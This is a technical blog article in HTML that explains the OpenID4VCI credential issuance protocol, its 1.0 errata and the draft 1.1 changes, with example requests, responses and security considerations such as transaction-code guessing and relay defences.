&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fopenid4vci-deep-dive%2Fdiagrams%2F02-authorization-code-flow.png%3Fv%3D298a2ebb" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fopenid4vci-deep-dive%2Fdiagrams%2F02-authorization-code-flow.png%3Fv%3D298a2ebb" alt="Authorization Code Flow: optional offer with issuer_state, metadata, PAR with authorization_details of type openid_credential, browser /authorize, code, Token Request, credential_identifiers, Credential Request" width="760" height="741"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The Wallet asks for credentials either by &lt;code&gt;scope&lt;/code&gt; (taken from the &lt;code&gt;scope&lt;/code&gt; field of the configuration in &lt;code&gt;credential_configurations_supported&lt;/code&gt;) or with RAR:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"openid_credential"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nl"&gt;"credential_configuration_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"UniversityDegreeCredential"&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the issuer's metadata lists &lt;code&gt;authorization_servers&lt;/code&gt;, the &lt;code&gt;locations&lt;/code&gt; field MUST carry the Credential Issuer Identifier, because one AS can front several issuers (Section 5.1.1).&lt;/p&gt;

&lt;p&gt;&lt;code&gt;issuer_state&lt;/code&gt; is the hook back to an issuer-initiated offer. If the offer contained one and the Wallet picks this grant, the Wallet MUST send it back. The AS in turn MUST assume it may have been injected by an attacker (Section 5.1.3), because offers are unauthenticated.&lt;/p&gt;

&lt;p&gt;The Token Response decides what the Wallet sends next, and this is the part implementations get wrong:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;"access_token"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"eyJhbGciOiJSUzI1NiIsInR5cCI6Ikp..sHQ"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"token_type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"Bearer"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"expires_in"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;86400&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"authorization_details"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"openid_credential"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="nl"&gt;"credential_configuration_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"UniversityDegreeCredential"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="nl"&gt;"credential_identifiers"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="s2"&gt;"CivilEngineeringDegree-2023"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;"ElectricalEngineeringDegree-2023"&lt;/span&gt;
      &lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If &lt;code&gt;credential_identifiers&lt;/code&gt; came back, the Credential Request MUST use &lt;code&gt;credential_identifier&lt;/code&gt; and MUST NOT carry &lt;code&gt;credential_configuration_id&lt;/code&gt;. If they didn't (the &lt;code&gt;scope&lt;/code&gt; path, with an AS that doesn't return them), it's the other way round (Sections 3.3.4 and 8.2). One configuration can expand into several datasets; here, two degrees.&lt;/p&gt;

&lt;p&gt;PKCE is unchanged; I wrote about it in &lt;a href="https://dev.to/kanywst/rfc-7636-deep-dive-how-pkce-kills-authorization-code-interception-attacks-91i"&gt;RFC 7636 Deep Dive&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Credential Endpoint, shared by both
&lt;/h2&gt;

&lt;p&gt;If the issuer has a Nonce Endpoint, the Wallet first does &lt;code&gt;POST /nonce&lt;/code&gt; with no access token and gets &lt;code&gt;{"c_nonce": "..."}&lt;/code&gt; back with &lt;code&gt;Cache-Control: no-store&lt;/code&gt; (Section 7). An issuer that wants nonces in proofs MUST run this endpoint. Then the Credential Request (Section 8.2):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="no"&gt;POST&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;credential&lt;/span&gt; &lt;span class="no"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;1.1&lt;/span&gt;
&lt;span class="nc"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;
&lt;span class="nc"&gt;Content&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nc"&gt;Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;application&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;
&lt;span class="nc"&gt;Authorization&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nc"&gt;Bearer&lt;/span&gt; &lt;span class="n"&gt;czZCaGRSa3F0MzpnWDFmQmF0M2JW&lt;/span&gt;

&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="s2"&gt;"credential_identifier"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"CivilEngineeringDegree-2023"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="s2"&gt;"proofs"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"jwt"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"eyJ0eXAiOiJvcGVuaWQ0dmNpLXByb29mK2p3dCIs..."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"eyJraWQiOi..."&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A decoded &lt;code&gt;jwt&lt;/code&gt; proof from Appendix F.1:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;"typ"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"openid4vci-proof+jwt"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"alg"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"ES256"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"jwk"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;"kty"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"EC"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nl"&gt;"crv"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"P-256"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nl"&gt;"x"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"nUWAoAv3..."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nl"&gt;"y"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"HskHU8Bj..."&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;"aud"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"https://credential-issuer.example.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"iat"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1701960444&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"nonce"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"LarRGSbmUPYtRYO6BQ4yn8"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;iss&lt;/code&gt; is the &lt;code&gt;client_id&lt;/code&gt;, and it MUST be omitted when the token came from an anonymous Pre-Authorized Code request. The other proof types are &lt;code&gt;di_vp&lt;/code&gt; (nonce in &lt;code&gt;challenge&lt;/code&gt;, issuer in &lt;code&gt;domain&lt;/code&gt;) and &lt;code&gt;attestation&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The array is the batch. Each key gets at most one credential, and every credential in one response shares the same Credential Format and Credential Dataset but SHOULD differ in key (Section 3.3.2). That is how a Wallet gets ten unlinkable copies of the same mDL. Different formats or datasets need separate requests.&lt;/p&gt;

&lt;p&gt;The response is either &lt;code&gt;200&lt;/code&gt; with &lt;code&gt;credentials: [{credential: ...}]&lt;/code&gt;, or, when the issuer can't issue yet, &lt;code&gt;202&lt;/code&gt; with &lt;code&gt;transaction_id&lt;/code&gt; and &lt;code&gt;interval&lt;/code&gt;. The 202 is a MUST, not a hint (Section 8.3). The Wallet then polls &lt;code&gt;POST /deferred_credential&lt;/code&gt; with the &lt;code&gt;transaction_id&lt;/code&gt;, and gets 200 or another 202 with the same id (Section 9).&lt;/p&gt;

&lt;p&gt;Errors that matter in practice: &lt;code&gt;invalid_proof&lt;/code&gt; covers a missing proof and a proof without the required &lt;code&gt;c_nonce&lt;/code&gt;, while &lt;code&gt;invalid_nonce&lt;/code&gt; means the nonce is there but stale, so the Wallet should fetch a new one and retry (Section 8.3.1.2). &lt;code&gt;credential_request_denied&lt;/code&gt; is unrecoverable.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the 1.0 errata draft actually changes
&lt;/h2&gt;

&lt;p&gt;The notes I started from listed the Document History entries. I wanted the whole picture, so I diffed tag &lt;code&gt;1.0-final&lt;/code&gt; against &lt;code&gt;1.0/&lt;/code&gt; at &lt;code&gt;21ffd6c&lt;/code&gt;. That's the entire normative delta: 33 lines added, 7 removed.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;202 OK&lt;/code&gt; becomes &lt;code&gt;202 Accepted&lt;/code&gt; in the deferred example (#722).&lt;/li&gt;
&lt;li&gt;"MUST but used" becomes "MUST be used" in Section 9.1.&lt;/li&gt;
&lt;li&gt;A paragraph in Section 14.2: if Cryptographic Key Binding isn't needed, the issuer omits &lt;code&gt;cryptographic_binding_methods_supported&lt;/code&gt;, therefore also &lt;code&gt;proof_types_supported&lt;/code&gt;, and the Wallet omits &lt;code&gt;proofs&lt;/code&gt; (#714). This is the coupon and ticket case.&lt;/li&gt;
&lt;li&gt;The metadata URL rule for a trailing &lt;code&gt;/&lt;/code&gt; is back (#775).&lt;/li&gt;
&lt;li&gt;New Section 13.6.3, Transaction Code Guessing (#686).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The trailing slash looks like nothing, but it changes which URL a Wallet fetches:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Credential Issuer Identifier&lt;/th&gt;
&lt;th&gt;1.0 Final, read literally&lt;/th&gt;
&lt;th&gt;errata &lt;code&gt;-19&lt;/code&gt; and 1.1&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;https://issuer.example.com/tenant&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/.well-known/openid-credential-issuer/tenant&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;same&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;https://issuer.example.com/tenant/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/.well-known/openid-credential-issuer/tenant/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/.well-known/openid-credential-issuer/tenant&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;https://tenant.issuer.example.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/.well-known/openid-credential-issuer&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;same&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The rule used to be there. PR #527 rewrote the sentence to insert the well-known segment between host and path, RFC 8414 style, and the "remove any terminating &lt;code&gt;/&lt;/code&gt;" clause got lost. Issue #744 points out that RFC 8414 Section 3.1 has the rule and Final is "silent", and its author says restoring it "would technically be a breaking change". It was raised with the conformance suite team as well. If your identifier ends in &lt;code&gt;/&lt;/code&gt;, serve both paths until this settles.&lt;/p&gt;

&lt;p&gt;Transaction Code Guessing is what the opening was about. Here is how the error behaviour now differs across the three 1.x texts:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fopenid4vci-deep-dive%2Fdiagrams%2F04-tx-code-errors.png%3Fv%3D8bc4f7b0" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fopenid4vci-deep-dive%2Fdiagrams%2F04-tx-code-errors.png%3Fv%3D8bc4f7b0" alt="Decision table of Token Error responses for pre-authorized_code: wrong tx_code, too many attempts, expired code, missing tx_code, across 1.0 Final, errata -19 and 1.1 -01" width="760" height="388"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The new section says the AS SHOULD cap failed &lt;code&gt;tx_code&lt;/code&gt; attempts per Pre-Authorized Code, invalidate the code once the cap is hit, treat &lt;code&gt;tx_code&lt;/code&gt; as single-use, and return &lt;code&gt;invalid_grant&lt;/code&gt; for a dead code. For a wrong code on a live grant, the errata text says the AS SHOULD return "an error indicating that the provided Transaction Code is invalid". It doesn't name one. Section 6.3 of the same errata draft still lists the wrong-&lt;code&gt;tx_code&lt;/code&gt; case under &lt;code&gt;invalid_grant&lt;/code&gt;, and an errata can't add an error code to a Final. The same PR (#686) gave 1.1 a real one, &lt;code&gt;invalid_tx_code&lt;/code&gt; (1.1 Section 7.3). So a 1.0 Wallet still can't tell the two cases apart from the error code alone, and a 1.1 Wallet can.&lt;/p&gt;

&lt;h2&gt;
  
  
  1.1: Interactive Authorization
&lt;/h2&gt;

&lt;p&gt;This is the main reason 1.1 exists. Some issuers want to see another credential before issuing: "present your PID, then I'll issue your mDL". In 1.0 that means a browser round trip in which the AS acts as an OpenID4VP Verifier, and the Wallet ends up presenting to a web page in another app. 1.1 Section 6 lets the Wallet do it natively, as a profile of &lt;a href="https://datatracker.ietf.org/doc/draft-ietf-oauth-first-party-apps/" rel="noopener noreferrer"&gt;OAuth 2.0 for First-Party Applications&lt;/a&gt; (FPA, pinned at draft -04).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fopenid4vci-deep-dive%2Fdiagrams%2F03-interactive-authorization.png%3Fv%3D6ec019e7" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fopenid4vci-deep-dive%2Fdiagrams%2F03-interactive-authorization.png%3Fv%3D6ec019e7" alt="Interactive Authorization: POST to the authorization challenge endpoint with interaction_types_supported, 403 insufficient_authorization with auth_session and openid4vp_request, presentation, second POST with auth_session and openid4vp_response, 200 authorization_code, Token Request" width="760" height="828"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The AS advertises &lt;code&gt;authorization_challenge_endpoint&lt;/code&gt; in its metadata (that's the FPA name), and can set &lt;code&gt;require_interactive_authorization: true&lt;/code&gt; if it accepts nothing else (1.1 Section 13.3). The Wallet's first request is a normal authorization request sent as a POST, plus &lt;code&gt;interaction_types_supported&lt;/code&gt;, a comma-separated list of URNs:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;urn:openid:dcp:ia:openid4vp_presentation&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;urn:openid:dcp:ia:auth_via_web&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The AS answers with FPA's 403 (#781 moved it from 401 to match FPA -04):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="no"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;1.1&lt;/span&gt; &lt;span class="mi"&gt;403&lt;/span&gt; &lt;span class="nc"&gt;Forbidden&lt;/span&gt;
&lt;span class="nc"&gt;Content&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nc"&gt;Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;application&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;
&lt;span class="nc"&gt;Cache&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nc"&gt;Control&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;store&lt;/span&gt;

&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="s2"&gt;"error"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"insufficient_authorization"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="s2"&gt;"interaction_type_required"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"urn:openid:dcp:ia:openid4vp_presentation"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="s2"&gt;"auth_session"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"wxroVrBY2MCq4dDNGXACS"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="s2"&gt;"openid4vp_request"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"response_type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"vp_token"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;"response_mode"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"ia_post"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;"dcql_query"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s2"&gt;"credentials"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s2"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"some_identity_credential"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"format"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"dc+sd-jwt"&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;"nonce"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"n-0S6_WzA2Mj"&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Wallet presents and POSTs back &lt;code&gt;auth_session&lt;/code&gt; plus &lt;code&gt;openid4vp_response&lt;/code&gt; to the same endpoint. That can repeat. When the AS is satisfied, it returns FPA's &lt;code&gt;200 {"authorization_code": ...}&lt;/code&gt; and the rest is 1.0 again. &lt;code&gt;auth_via_web&lt;/code&gt; is the escape hatch: the 403 carries a PAR-style &lt;code&gt;request_uri&lt;/code&gt;, the Wallet opens a real browser (an embedded user agent is forbidden), and the redirect brings back either a &lt;code&gt;code&lt;/code&gt; or an &lt;code&gt;auth_session&lt;/code&gt; to continue with.&lt;/p&gt;

&lt;p&gt;The binding rules are where the WG has spent the last six months:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;auth_session&lt;/code&gt; is REQUIRED only if the interaction type says so (#706). The Wallet MUST send the most recent one (#710). With DPoP, the AS MUST tie &lt;code&gt;auth_session&lt;/code&gt; to the DPoP public key (#803), so a stolen session value is useless from another key.&lt;/li&gt;
&lt;li&gt;Session fixation (1.1 Section 6.2.1.4): the AS MUST bind the OpenID4VP &lt;code&gt;nonce&lt;/code&gt; to the &lt;code&gt;auth_session&lt;/code&gt; and check that the presentation used it.&lt;/li&gt;
&lt;li&gt;Forwarding (1.1 Section 6.2.1.5): a malicious AS could relay another AS's 403 to the Wallet and harvest the presentation. Two defences are given. If &lt;code&gt;expected_origins&lt;/code&gt; is present, it MUST contain only the Origin of the challenge endpoint, and the Wallet checks it. The presentation's holder binding also names the challenge endpoint, and the AS checks that.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;auth_via_web&lt;/code&gt;: each &lt;code&gt;request_uri&lt;/code&gt; is used once (#704), and a Wallet with concurrent sessions MUST send &lt;code&gt;state&lt;/code&gt; (#797).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The draft text isn't settled yet, and three open items affect what goes on the wire:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The prose in 1.1 Section 6.2.1 says the AS sets &lt;code&gt;error_code&lt;/code&gt; to &lt;code&gt;insufficient_authorization&lt;/code&gt;. All four examples, and FPA -04 Section 5.2.2, use &lt;code&gt;error&lt;/code&gt;. #819 (open) fixes the word. Implement &lt;code&gt;error&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The holder-binding value for the forwarding defence differs by format. The SD-JWT VC section says the KB-JWT &lt;code&gt;aud&lt;/code&gt; is the derived Origin with an &lt;code&gt;ia:&lt;/code&gt; prefix, and gives &lt;code&gt;ia:https://example.com/authorize-challenge&lt;/code&gt; as the example, which is a full URL. The JWT VC and Data Integrity sections say the endpoint URL. The mdoc section says the endpoint URL and "MUST NOT be prefixed with &lt;code&gt;ia:&lt;/code&gt;". #812 (open, filed by someone profiling 1.1 for conformance work) lays this out and makes the right point about leniency: an AS that accepts either value to make interop work has quietly turned off the anti-relay check.&lt;/li&gt;
&lt;li&gt;The Document History says &lt;code&gt;iae:&lt;/code&gt;, &lt;code&gt;iae_post&lt;/code&gt;, &lt;code&gt;interactive_authorization_endpoint&lt;/code&gt; and &lt;code&gt;require_interactive_authorization_request&lt;/code&gt;. The normative text says &lt;code&gt;ia:&lt;/code&gt;, &lt;code&gt;ia_post&lt;/code&gt;, &lt;code&gt;authorization_challenge_endpoint&lt;/code&gt; and &lt;code&gt;require_interactive_authorization&lt;/code&gt;. #811 (open) tracks this. Go by the normative text.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  1.1: the smaller wire changes
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;invalid_tx_code&lt;/code&gt; (1.1 Section 7.3), covered above.&lt;/li&gt;
&lt;li&gt;Credential Response gets &lt;code&gt;credential_metadata&lt;/code&gt; (OPTIONAL, #721), and &lt;code&gt;credential_dataset_id&lt;/code&gt; and &lt;code&gt;credential_dataset_tag&lt;/code&gt; (RECOMMENDED, #472, merged 15 October 2026). The tag MUST be present when the id is, and MUST NOT be present otherwise. A Wallet holding credentials from dataset &lt;code&gt;8xR2vQpL9dKm4TzN&lt;/code&gt; that sees a new tag knows the old batch is superseded. Before this, a Wallet had no standard way to tell a refresh from a new credential.&lt;/li&gt;
&lt;li&gt;The deferred response RECOMMENDS the same two dataset fields.&lt;/li&gt;
&lt;li&gt;PAR moves from an informative to a normative reference (1.0 only RECOMMENDS it), and Interactive Authorization is allowed in its place.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A 1.0 Wallet ignores the new response fields, since unknown parameters MUST be ignored. Problems only come up when the two sides disagree on a value that's actually checked: the error code, the metadata URL, the binding &lt;code&gt;aud&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Server to Server
&lt;/h2&gt;

&lt;p&gt;The s2s draft solves a different problem. Some Wallet Providers run a backend and would rather it talk to the issuer than have every phone do so: phones are hard to update, have bad connectivity, and are a less trusted place to run issuance logic (s2s Section 4). The catch is that the backend shouldn't see the user's identity data or the credentials.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fopenid4vci-deep-dive%2Fdiagrams%2F05-s2s-visibility.png%3Fv%3D9ceacce5" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fopenid4vci-deep-dive%2Fdiagrams%2F05-s2s-visibility.png%3Fv%3D9ceacce5" alt="s2s: Wallet Client builds a JWE-wrapped JWS with its Wallet Signing Key, Wallet Server relays it unread over mTLS to the Issuer Server, credentials come back encrypted to the Wallet Encryption Key" width="760" height="702"&gt;&lt;/a&gt;&lt;/p&gt;

